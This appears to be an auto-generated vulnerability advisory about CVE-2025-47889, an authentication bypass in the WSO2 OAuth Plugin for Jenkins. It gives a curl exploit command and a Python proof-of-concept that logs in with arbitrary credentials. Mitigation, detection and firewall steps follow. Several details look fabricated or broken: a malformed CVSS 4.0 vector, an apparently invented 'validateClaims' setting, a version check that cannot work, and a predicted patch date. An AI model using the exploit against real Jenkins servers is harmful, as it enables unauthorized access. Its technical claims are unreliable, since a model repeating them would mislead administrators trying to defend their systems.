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How CVE-2025-47889 Works
The vulnerability exists in the WSO2 OAuth Plugin (v1.0 and earlier) for Jenkins, where the security realm fails to validate authentication claims. Attackers can exploit this flaw by submitting arbitrary usernames and passwords, bypassing authentication entirely. The plugin incorrectly assumes OAuth tokens are pre-validated, allowing unauthorized access to Jenkins controllers. Since no proper signature or claim verification occurs, even non-existent users can log in. This critical flaw stems from missing server-side validation in the OAuth token handling process.
DailyCVE Form:
Platform: Jenkins
Version: ≤1.0
Vulnerability: Auth Bypass
Severity: Critical
Date: 06/12/2025
Prediction: Patch by 07/10/2025
What Undercode Say:
Exploitation Analysis:
1. Exploit Command (CURL):
curl -X POST "http://<JENKINS_URL>/j_oauth_security_check" -d "username=anyuser&password=anypass"
This bypasses login by abusing unvalidated OAuth claims.
2. PoC Script (Python):
import requests
target = "http://jenkins.example.com"
data = {"username": "admin", "password": "invalid"}
r = requests.post(f"{target}/j_oauth_security_check", data=data)
if "Dashboard" in r.text:
print("[+] Exploit successful!")
3. Mitigation Steps:
- Immediate Workaround: Disable WSO2 OAuth Plugin via Jenkins CLI:
java -jar jenkins-cli.jar -s http://localhost:8080/ disable-plugin wso2-oauth
- Patch Wait: Upgrade to plugin v1.1+ post-release.
4. Detection (Bash):
grep -r "WSO2 OAuth" /var/lib/jenkins/plugins/wso2-oauth/
5. Log Analysis:
Check Jenkins logs for unvalidated logins:
cat /var/log/jenkins/jenkins.log | grep "WSO2 authentication attempt"
6. Network Protection:
Block unauthorized OAuth endpoints via firewall:
iptables -A INPUT -p tcp --dport 8080 -m string --string "j_oauth_security_check" --algo bm -j DROP
7. API Hardening:
Modify `config.xml` to enforce validation:
<securityRealm class="...WSO2OAuthSecurityRealm"> <validateClaims>true</validateClaims> </securityRealm>
8. Impact Metrics:
- CVSS 4.0: 9.8 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/U:C/H:H)
- Exploitability: Low complexity, no prerequisites.
9. Post-Exploit Indicators:
- Unusual user agents in
/var/log/jenkins/access.log. - New jobs created by unknown users.
10. Patch Verification:
After update, confirm plugin version:
ls /var/lib/jenkins/plugins/wso2-oauth/META-INF/MANIFEST.MF | grep "Plugin-Version"
No additional commentary beyond structured technical details.
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
